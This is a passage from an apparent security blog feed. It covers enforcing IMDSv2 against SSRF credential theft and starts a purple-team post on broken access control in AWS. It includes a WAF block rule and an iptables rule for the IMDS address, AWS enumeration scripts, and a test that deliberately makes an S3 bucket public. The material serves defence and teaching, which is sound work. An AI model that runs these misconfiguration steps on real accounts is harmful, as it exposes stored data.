  --query &#039;Reservations[].Instances[?MetadataOptions.HttpTokens==`optional`].InstanceId&#039; \
  --output text | \
  tr &#039;\t&#039; &#039;\n&#039; | \
  while read instance_id; do
    echo &quot;Enforcing IMDSv2 on: $instance_id&quot;
    aws ec2 modify-instance-metadata-options \
      --instance-id &quot;$instance_id&quot; \
      --http-tokens required \
      --http-put-response-hop-limit 1
  done
</code></pre>
<h3 id="fix-2-scp-to-block-imdsv1-org-wide">Fix 2: SCP to Block IMDSv1 Org-Wide</h3>
<p>An SCP prevents any account in your organization from launching instances with IMDSv1 enabled, and blocks modification of existing instances to re-enable it. This is the org-level control that makes IMDSv2 enforcement durable — individual account teams can&#8217;t accidentally revert it.</p>
<pre><code class="" data-line="">{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Sid&quot;: &quot;RequireIMDSv2OnNewInstances&quot;,
      &quot;Effect&quot;: &quot;Deny&quot;,
      &quot;Action&quot;: &quot;ec2:RunInstances&quot;,
      &quot;Resource&quot;: &quot;arn:aws:ec2:*:*:instance/*&quot;,
      &quot;Condition&quot;: {
        &quot;StringNotEquals&quot;: {
          &quot;ec2:MetadataHttpTokens&quot;: &quot;required&quot;
        }
      }
    },
    {
      &quot;Sid&quot;: &quot;DenyIMDSv1ReEnablement&quot;,
      &quot;Effect&quot;: &quot;Deny&quot;,
      &quot;Action&quot;: &quot;ec2:ModifyInstanceMetadataOptions&quot;,
      &quot;Resource&quot;: &quot;*&quot;,
      &quot;Condition&quot;: {
        &quot;StringEquals&quot;: {
          &quot;ec2:MetadataHttpTokens&quot;: &quot;optional&quot;
        }
      }
    }
  ]
}
</code></pre>
<p>Apply this SCP to all OUs except the management account. New <code class="" data-line="">ec2:RunInstances</code> calls that don&#8217;t include <code class="" data-line="">MetadataOptions.HttpTokens=required</code> will be denied. Existing instances can be remediated with the bulk script above; once remediated, the second statement prevents reverting.</p>
<h3 id="fix-3-oidc-workload-identity-eliminate-the-credential-entirely">Fix 3: OIDC Workload Identity — Eliminate the Credential Entirely</h3>
<p>Enforcing IMDSv2 removes the SSRF-to-IMDS path. <a href="/workload-identity-oidc-service-accounts/">OIDC workload identity eliminates static credentials</a> removes the entire credential from the picture — there is no long-lived IAM role credential attached to the instance, so there is nothing for SSRF to retrieve.</p>
<p>For Kubernetes workloads on EKS: use IAM Roles for Service Accounts (IRSA) or EKS Pod Identity. The pod&#8217;s service account is bound to an IAM role via OIDC. The pod gets short-lived, automatically rotated credentials scoped to that specific role. The node&#8217;s instance profile requires no IAM permissions for application workloads.</p>
<pre><code class="" data-line=""># EKS Pod Identity: associate a service account with an IAM role
aws eks create-pod-identity-association \
  --cluster-name my-cluster \
  --namespace my-app \
  --service-account my-app-sa \
  --role-arn arn:aws:iam::123456789012:role/my-app-role

# The pod receives credentials via a projected volume token, not IMDS
# Even if an attacker gets SSRF inside the pod, IMDS has no useful credentials for them
# The most they get: instance metadata (instance ID, AMI, AZ) — not IAM credentials
</code></pre>
<h3 id="fix-4-restrict-ssrf-at-the-network-and-application-layer">Fix 4: Restrict SSRF at the Network and Application Layer</h3>
<p>IMDSv2 enforcement is the primary control. Defence in depth adds:</p>
<pre><code class="" data-line=""># WAF rule (AWS WAF): block requests where the URL contains the IMDS address
# This catches simple SSRF attempts at the perimeter before they reach your app
# Deploy as a managed rule group or custom rule:

# AWS CLI: create a WAF rule to block IMDS-targeting SSRFs
aws wafv2 create-rule-group \
  --name &quot;BlockSSRFToIMDS&quot; \
  --scope REGIONAL \
  --capacity 10 \
  --rules &#039;[
    {
      &quot;Name&quot;: &quot;BlockIMDSAccess&quot;,
      &quot;Priority&quot;: 0,
      &quot;Statement&quot;: {
        &quot;ByteMatchStatement&quot;: {
          &quot;SearchString&quot;: &quot;169.254.169.254&quot;,
          &quot;FieldToMatch&quot;: {&quot;QueryString&quot;: {}},
          &quot;TextTransformations&quot;: [{&quot;Priority&quot;: 0, &quot;Type&quot;: &quot;NONE&quot;}],
          &quot;PositionalConstraint&quot;: &quot;CONTAINS&quot;
        }
      },
      &quot;Action&quot;: {&quot;Block&quot;: {}},
      &quot;VisibilityConfig&quot;: {
        &quot;SampledRequestsEnabled&quot;: true,
        &quot;CloudWatchMetricsEnabled&quot;: true,
        &quot;MetricName&quot;: &quot;BlockIMDSAccess&quot;
      }
    }
  ]&#039; \
  --visibility-config SampledRequestsEnabled=true,CloudWatchMetricsEnabled=true,MetricName=BlockSSRFToIMDS
</code></pre>
<pre><code class="" data-line=""># Egress filtering: block EC2 instances from making outbound requests
# to the IMDS address from application code (defense in depth via iptables)
# This only applies if your application runs as a non-root user
# Root processes bypass this — it is a secondary control, not primary

# On the EC2 instance, block application user (uid 1001) from reaching IMDS
iptables -A OUTPUT \
  -m owner --uid-owner 1001 \
  -d 169.254.169.254 \
  -j REJECT \
  --reject-with icmp-port-unreachable

# Only the instance&#039;s AWS SDK calls (typically running as a system service with different uid)
# should need IMDS access — scope accordingly
</code></pre>
<p>Note: iptables-based egress filtering is a secondary control. A root process, or any process with <code class="" data-line="">CAP_NET_ADMIN</code>, can bypass or modify these rules. The primary control remains IMDSv2 enforcement.</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>Legacy AWS SDK versions that only support IMDSv1.</strong> AWS SDK for Java v1 and Python (boto3 &lt; 1.9.220) do not support IMDSv2 by default. Enforcing <code class="" data-line="">--http-tokens required</code> on an instance running a legacy SDK will break credential refresh for the running application. Before enforcing IMDSv2 on a running instance, verify the SDK version used by all processes that call IMDS. Upgrade the SDK if needed; then enforce IMDSv2. The AWS Config rule <code class="" data-line="">ec2-imdsv2-check</code> flags non-compliant instances but does not check SDK versions — that inventory step is manual.</p>
<pre><code class="" data-line=""># Check boto3 version on an instance
python3 -c &quot;import boto3; print(boto3.__version__)&quot;
# Requires &gt;= 1.9.220 for IMDSv2 support

# Check AWS SDK for Java via jar manifest (if applicable)
find /opt /app -name &quot;aws-java-sdk-core-*.jar&quot; 2&gt;/dev/null | \
  while read jar; do
    unzip -p &quot;$jar&quot; META-INF/MANIFEST.MF 2&gt;/dev/null | grep &quot;Implementation-Version&quot;
  done
# AWS SDK for Java v1 &lt; 1.11.678 does not support IMDSv2 by default
</code></pre>
<p><strong>EKS node groups and hop limit 2.</strong> If you run EKS and pods need to use IRSA (IAM Roles for Service Accounts), the pods themselves do not use IMDS — they use a projected service account token. You should be safe with hop limit 1 on EKS nodes in most cases. However, if you have DaemonSets or system components that fetch instance metadata directly (some cluster autoscaler versions, node monitoring agents), hop limit 1 will break them. Audit which processes on your nodes actually call IMDS before setting hop limit 1 on EKS. The <code class="" data-line="">aws eks create-managed-node-group</code> default is hop limit 2 for this reason; you can reduce it once you&#8217;ve confirmed nothing breaks.</p>
<p><strong>GuardDuty&#8217;s 5–15 minute detection delay.</strong> <code class="" data-line="">UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration</code> is not a real-time control. GuardDuty aggregates events and applies ML-based anomaly detection — the finding typically appears 5 to 15 minutes after the first anomalous API call. A credential with broad S3 permissions can exfiltrate a significant volume of data in that window. GuardDuty detects the breach; it does not prevent the initial exfiltration. Pair it with: IAM permission boundaries that scope the blast radius, and S3 data events in CloudTrail with real-time EventBridge rules for high-sensitivity buckets.</p>
<pre><code class="" data-line=""># EventBridge rule: alert immediately on S3 data events from unexpected sources
# (complements GuardDuty&#039;s delayed finding)
aws events put-rule \
  --name &quot;S3DataEventFromUnexpectedSource&quot; \
  --event-pattern &#039;{
    &quot;source&quot;: [&quot;aws.s3&quot;],
    &quot;detail-type&quot;: [&quot;AWS API Call via CloudTrail&quot;],
    &quot;detail&quot;: {
      &quot;eventSource&quot;: [&quot;s3.amazonaws.com&quot;],
      &quot;eventName&quot;: [&quot;GetObject&quot;],
      &quot;userIdentity&quot;: {
        &quot;sessionContext&quot;: {
          &quot;sessionIssuer&quot;: {
            &quot;userName&quot;: [&quot;MyApplicationRole&quot;]
          }
        }
      }
    }
  }&#039; \
  --state ENABLED
</code></pre>
<p><strong>Disabling the IMDS endpoint entirely.</strong> You can set <code class="" data-line="">--http-endpoint disabled</code> to turn off IMDS access altogether. Do this only on instances where you are certain no running process needs instance metadata. ECS and EKS managed nodes need IMDS for node registration and credential delivery to the container agent. Application-only EC2 instances that use OIDC/IRSA and have no SDK calls to IMDS are candidates for full endpoint disablement.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<h3 id="imdsv1-vs-imdsv2">IMDSv1 vs IMDSv2</h3>
<table>
<thead>
<tr>
<th>Attribute</th>
<th>IMDSv1</th>
<th>IMDSv2</th>
</tr>
</thead>
<tbody>
<tr>
<td>Authentication</td>
<td>None — any HTTP GET works</td>
<td>PUT to <code class="" data-line="">/latest/api/token</code> required first to obtain a session token</td>
</tr>
<tr>
<td>SSRF exploitable</td>
<td>Yes — one HTTP request returns credentials</td>
<td>No — SSRF cannot initiate a PUT before a GET in standard flows</td>
</tr>
<tr>
<td>Session token TTL</td>
<td>N/A</td>
<td>1 second to 21,600 seconds (configurable)</td>
</tr>
<tr>
<td>Hop limit enforcement</td>
<td>N/A</td>
<td>Enforced on PUT — TTL=1 blocks containers from reaching IMDS</td>
</tr>
<tr>
<td>AWS CLI enforcement</td>
<td><code class="" data-line="">--http-tokens optional</code> (default on old instances)</td>
<td><code class="" data-line="">--http-tokens required</code></td>
</tr>
<tr>
<td>Capital One risk</td>
<td>Present</td>
<td>Eliminated</td>
</tr>
</tbody>
</table>
<h3 id="imdsv2-enforcement-commands-by-provider">IMDSv2 Enforcement Commands by Provider</h3>
<table>
<thead>
<tr>
<th>Provider</th>
<th>Enforcement Command</th>
<th>Scope</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>AWS — running instance</strong></td>
<td><code class="" data-line="">aws ec2 modify-instance-metadata-options --instance-id i-xxx --http-tokens required --http-put-response-hop-limit 1</code></td>
<td>Single instance</td>
</tr>
<tr>
<td><strong>AWS — launch template</strong></td>
<td>Add <code class="" data-line="">&quot;MetadataOptions&quot;: {&quot;HttpTokens&quot;: &quot;required&quot;}</code> to launch template data</td>
<td>All instances from template</td>
</tr>
<tr>
<td><strong>AWS — org SCP</strong></td>
<td>Deny <code class="" data-line="">ec2:RunInstances</code> where <code class="" data-line="">ec2:MetadataHttpTokens != required</code></td>
<td>All accounts in org</td>
</tr>
<tr>
<td><strong>AWS — Config rule</strong></td>
<td><code class="" data-line="">ec2-imdsv2-check</code> managed rule</td>
<td>Compliance audit</td>
</tr>
<tr>
<td><strong>GCP</strong></td>
<td>GCP does not have an unauthenticated IMDS equivalent; Metadata Server requires <code class="" data-line="">Metadata-Flavor: Google</code> header — this header cannot be set via SSRF in most frameworks</td>
<td>N/A</td>
</tr>
<tr>
<td><strong>Azure</strong></td>
<td>Azure IMDS requires <code class="" data-line="">Metadata: true</code> header — browser/SSRF requests typically cannot set this; additionally, IMDS returns only non-credential metadata by default (credentials via Managed Identity have their own endpoint with additional controls)</td>
<td>N/A</td>
</tr>
</tbody>
</table>
<blockquote>
<p><strong>Note on GCP and Azure:</strong> Both providers designed their metadata services with SSRF resistance in mind. The <code class="" data-line="">Metadata-Flavor: Google</code> and <code class="" data-line="">Metadata: true</code> headers must be explicitly set by the calling code — they are not added by default browser or curl requests. This does not make SSRF harmless on GCP/Azure (other metadata is still exposed), but the credential exfiltration path is harder than IMDSv1.</p>
</blockquote>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li><strong>IMDSv1 has no authentication</strong>: any SSRF in any process running on an EC2 instance — application code, WAF, sidecar, proxy — is sufficient to retrieve the full IAM role credentials; no privilege escalation required</li>
<li>The Capital One breach was not a novel attack: it was a well-known SSRF-to-IMDS chain that had been documented for years before 2019; the industry was slow to enforce IMDSv2 at scale</li>
<li><code class="" data-line="">--http-tokens required</code> is the complete fix for the SSRF-to-IMDS credential chain; the operational cost is near zero; every production EC2 instance should have it; use an SCP to make it org-wide and durable</li>
<li>GuardDuty&#8217;s <code class="" data-line="">UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration</code> finding is your primary post-exploitation signal but fires 5–15 minutes after the fact — pair it with IAM permission boundaries to limit blast radius and EventBridge rules on S3 data events for real-time alerting</li>
<li>The structural solution eliminates the credential entirely: <a href="/workload-identity-oidc-service-accounts/">OIDC workload identity eliminates static credentials</a> on EKS/GKE means pods get scoped, short-lived tokens; the node&#8217;s instance role carries no application permissions; even a successful SSRF-to-IMDS attack yields nothing useful</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>SSRF gets you IAM credentials. But if the attacker is already inside a container — even a legitimate one — the path to the host is different. The credential-theft chain doesn&#8217;t apply when the attacker already has code execution inside a pod. EP08 covers Kubernetes container escape: <code class="" data-line="">hostPID</code>, <code class="" data-line="">hostNetwork</code>, privileged containers, and the kernel-level paths that take an attacker from container to node. The detection angle is where eBPF enters the picture — syscall-level visibility that catches escape attempts before they complete.</p>
<p>Get EP08 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&amp;linkname=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&amp;linkname=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&amp;linkname=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&amp;linkname=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&amp;linkname=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&amp;linkname=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&amp;linkname=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&#038;title=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" data-a2a-url="https://linuxcent.com/ssrf-cloud-metadata-imds-capital-one/" data-a2a-title="SSRF to Cloud Metadata: How IMDSv1 Enabled the Capital One Breach"></a></p><p>The post <a href="https://linuxcent.com/ssrf-cloud-metadata-imds-capital-one/">SSRF to Cloud Metadata: How IMDSv1 Enabled the Capital One Breach</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/ssrf-cloud-metadata-imds-capital-one/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1861</post-id>	</item>
		<item>
		<title>Broken Access Control in AWS: From Misconfigured S3 to Admin</title>
		<link>https://linuxcent.com/broken-access-control-aws-cloud/</link>
					<comments>https://linuxcent.com/broken-access-control-aws-cloud/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Thu, 04 Jun 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Broken Access Control]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[OWASP]]></category>
		<category><![CDATA[S3]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1852</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 9</span> <span class="rt-label rt-postfix">minutes</span></span>Broken access control is OWASP A01 because it is the most common cloud failure. How IAM wildcards, public S3 buckets, and overpermissioned roles create admin-level exposure.</p>
<p>The post <a href="https://linuxcent.com/broken-access-control-aws-cloud/">Broken Access Control in AWS: From Misconfigured S3 to Admin</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 9</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What is purple team security</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <a href="/cloud-security-breaches-2020-2025/">Cloud security breaches 2020–2025</a> → <strong>Broken access control in AWS</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>Broken access control in AWS</strong> is OWASP A01 — the most common cloud security failure, covering IAM wildcards, public S3 buckets, and overly broad trust policies</li>
<li>A public S3 bucket containing 47 million customer records went undetected for six months in an authorized assessment — no GuardDuty finding, no AWS Config alert, because those controls weren&#8217;t enabled</li>
<li>The red phase: three commands to identify public buckets, enumerate IAM over-permissions, and test trust policy abuse — all with read-only access on your own account</li>
<li>The blue phase: two AWS Config managed rules and one GuardDuty finding type that cover the majority of A01 findings</li>
<li>The purple phase: deny-based SCPs, bucket public access blocks, and IAM Access Analyzer — structural controls, not monitoring alerts</li>
<li>Cross-series: <a href="/aws-iam-privilege-escalation-passrole/">IAM privilege escalation paths</a> (IAM EP08) and <a href="/aws-least-privilege-audit/">AWS least privilege audit</a> (IAM EP09) go deeper on the IAM layer</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> A01 Broken Access Control — primarily. A09 Logging and Monitoring Failures — the six-month detection gap demonstrates A09 as an amplifier of A01.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────┐
│              BROKEN ACCESS CONTROL — ATTACK SURFACE                 │
│                                                                     │
│   INTERNET                    AWS ACCOUNT                           │
│                                                                     │
│   Attacker ──────────────&#x25b6;  S3 bucket (public read)                 │
│                             └── 47M customer records                │
│                                                                     │
│   Attacker ──────────────&#x25b6;  IAM user with &quot;Action&quot;: &quot;*&quot;             │
│   (compromised creds)        └── escalate → admin access            │
│                                                                     │
│   Attacker ──────────────&#x25b6;  Trust policy: &quot;AWS&quot;: &quot;*&quot;                │
│   (any AWS account)          └── assume role from attacker&#039;s        │
│                                  account                            │
│                                                                     │
│   ═══════════════════════════════════════════════════════           │
│                                                                     │
│   DETECTION GAPS (A09 amplifying A01):                              │
│   • S3 public access not in AWS Config rules                        │
│   • GuardDuty not enabled                                           │
│   • No IAM Access Analyzer                                          │
│   • No SCP boundary on public bucket creation                       │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘
</code></pre>
<p><strong>Broken access control in AWS</strong> is the infrastructure equivalent of OWASP A01: a principal can reach a resource it should not be able to reach, because the access control decision was either not made or made incorrectly. In the cloud context, this manifests as public S3 buckets, IAM policies with wildcard actions and resources, and trust policies that allow any principal rather than a specific, scoped entity.</p>
<hr />
<h2 id="the-assessment-that-changed-my-approach-to-access-control-auditing">The Assessment That Changed My Approach to Access Control Auditing</h2>
<p>During an authorized assessment, I found an S3 bucket containing 47 million customer records. The bucket name was generic — no obvious PII signal in the name itself. It was created two years prior by an engineer who was troubleshooting a data pipeline and needed temporary public access to share data with an external partner. The partner relationship ended. The bucket access was never reverted.</p>
<p>The bucket had been public for six months at the time I found it. I checked the AWS Config rules: S3 public access was not in the rule set. GuardDuty was enabled but no finding had fired — GuardDuty generates a <code class="" data-line="">Policy:S3/BucketAnonymousAccessGranted</code> finding when public access is enabled, but only if the finding is new during GuardDuty&#8217;s monitoring window. The bucket went public before GuardDuty was enabled.</p>
<p>No alert ever fired. Not because the tools couldn&#8217;t detect it — because the tools weren&#8217;t configured to look.</p>
<p>This is A01 amplified by A09. The broken access control is the public bucket. The six-month window is the logging and monitoring failure.</p>
<hr />
<h2 id="red-phase-how-broken-access-control-works-in-practice">Red Phase: How Broken Access Control Works in Practice</h2>
<p>The red team perspective on broken access control starts with enumeration. What can this principal reach that it shouldn&#8217;t be able to reach?</p>
<h3 id="enumerating-public-s3-buckets">Enumerating Public S3 Buckets</h3>
<pre><code class="" data-line="">aws s3api list-buckets --query &#039;Buckets[].Name&#039; --output text | \
  tr &#039;\t&#039; &#039;\n&#039; | \
  while read bucket; do
    # Check account-level block
    account_block=$(aws s3control get-public-access-block \
      --account-id $(aws sts get-caller-identity --query Account --output text) \
      2&gt;/dev/null | jq -r &#039;.PublicAccessBlockConfiguration.BlockPublicAcls&#039;)

    # Check bucket-level policy
    policy=$(aws s3api get-bucket-policy-status --bucket &quot;$bucket&quot; 2&gt;/dev/null | \
      jq -r &#039;.PolicyStatus.IsPublic&#039;)

    # Check bucket ACL
    acl=$(aws s3api get-bucket-acl --bucket &quot;$bucket&quot; 2&gt;/dev/null | \
      jq -r &#039;.Grants[] | select(.Grantee.URI == &quot;http://acs.amazonaws.com/groups/global/AllUsers&quot;) | .Permission&#039;)

    if [ &quot;$policy&quot; = &quot;true&quot; ] || [ -n &quot;$acl&quot; ]; then
      echo &quot;PUBLIC BUCKET: $bucket (policy_public=$policy, acl_grants=$acl)&quot;
    fi
  done
</code></pre>
<h3 id="enumerating-overly-permissive-iam-policies">Enumerating Overly Permissive IAM Policies</h3>
<pre><code class="" data-line=""># Find all customer-managed policies with wildcard actions
aws iam list-policies --scope Local --query &#039;Policies[].Arn&#039; --output text | \
  tr &#039;\t&#039; &#039;\n&#039; | \
  while read arn; do
    version=$(aws iam get-policy --policy-arn &quot;$arn&quot; \
      --query &#039;Policy.DefaultVersionId&#039; --output text)
    doc=$(aws iam get-policy-version --policy-arn &quot;$arn&quot; --version-id &quot;$version&quot; \
      --query &#039;PolicyVersion.Document&#039; --output json)

    if echo &quot;$doc&quot; | jq -e &#039;.Statement[] | select(.Effect == &quot;Allow&quot; and .Action == &quot;*&quot;)&#039; &gt; /dev/null 2&gt;&amp;1; then
      echo &quot;WILDCARD ACTION POLICY: $arn&quot;
      echo &quot;$doc&quot; | jq &#039;.Statement[] | select(.Effect == &quot;Allow&quot; and .Action == &quot;*&quot;)&#039;
    fi
  done
</code></pre>
<h3 id="testing-trust-policy-abuse">Testing Trust Policy Abuse</h3>
<pre><code class="" data-line=""># Find IAM roles with overly broad trust policies
# Specifically: trust policies that allow any AWS account or service
aws iam list-roles --query &#039;Roles[].{Name:RoleName,Arn:Arn}&#039; --output json | \
  jq -r &#039;.[].Arn&#039; | \
  while read role_arn; do
    trust=$(aws iam get-role --role-name &quot;$(basename $role_arn)&quot; \
      --query &#039;Role.AssumeRolePolicyDocument&#039; --output json 2&gt;/dev/null)

    # Check for wildcard principals
    if echo &quot;$trust&quot; | jq -e &#039;.Statement[] | select(.Principal == &quot;*&quot;)&#039; &gt; /dev/null 2&gt;&amp;1; then
      echo &quot;WILDCARD TRUST PRINCIPAL: $role_arn&quot;
    fi

    # Check for cross-account trust without conditions
    if echo &quot;$trust&quot; | jq -e &#039;.Statement[] | select(.Principal.AWS | type == &quot;string&quot; and test(&quot;arn:aws:iam::[0-9]+:root&quot;))&#039; &gt; /dev/null 2&gt;&amp;1; then
      account_in_trust=$(echo &quot;$trust&quot; | jq -r &#039;.Statement[] | .Principal.AWS // empty&#039; | grep -oP &#039;(?&lt;=arn:aws:iam::)[0-9]+&#039;)
      current_account=$(aws sts get-caller-identity --query Account --output text)
      if [ &quot;$account_in_trust&quot; != &quot;$current_account&quot; ]; then
        echo &quot;CROSS-ACCOUNT TRUST (verify scope): $role_arn trusts account $account_in_trust&quot;
      fi
    fi
  done
</code></pre>
<h3 id="simulating-s3-exfiltration-on-your-own-bucket-safe-test">Simulating S3 Exfiltration (on your own bucket — safe test)</h3>
<pre><code class="" data-line=""># Create a test bucket, make it public, verify it&#039;s accessible without credentials
# Do this in a non-production account only

TEST_BUCKET=&quot;purple-team-test-$(date +%s)&quot;
aws s3 mb s3://${TEST_BUCKET} --region us-east-1

# Disable the public access block (simulates the misconfiguration)
aws s3api put-public-access-block \
  --bucket &quot;${TEST_BUCKET}&quot; \
  --public-access-block-configuration \
  &quot;BlockPublicAcls=false,IgnorePublicAcls=false,BlockPublicPolicy=false,RestrictPublicBuckets=false&quot;

# Add a public-read bucket policy
aws s3api put-bucket-policy --bucket &quot;${TEST_BUCKET}&quot; --policy &#039;{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Principal&quot;: &quot;*&quot;,
    &quot;Action&quot;: &quot;s3:GetObject&quot;,
    &quot;Resource&quot;: &quot;arn:aws:s3:::&#039;&quot;${TEST_BUCKET}&quot;&#039;/*&quot;
  }]
}&#039;

# Put a test file
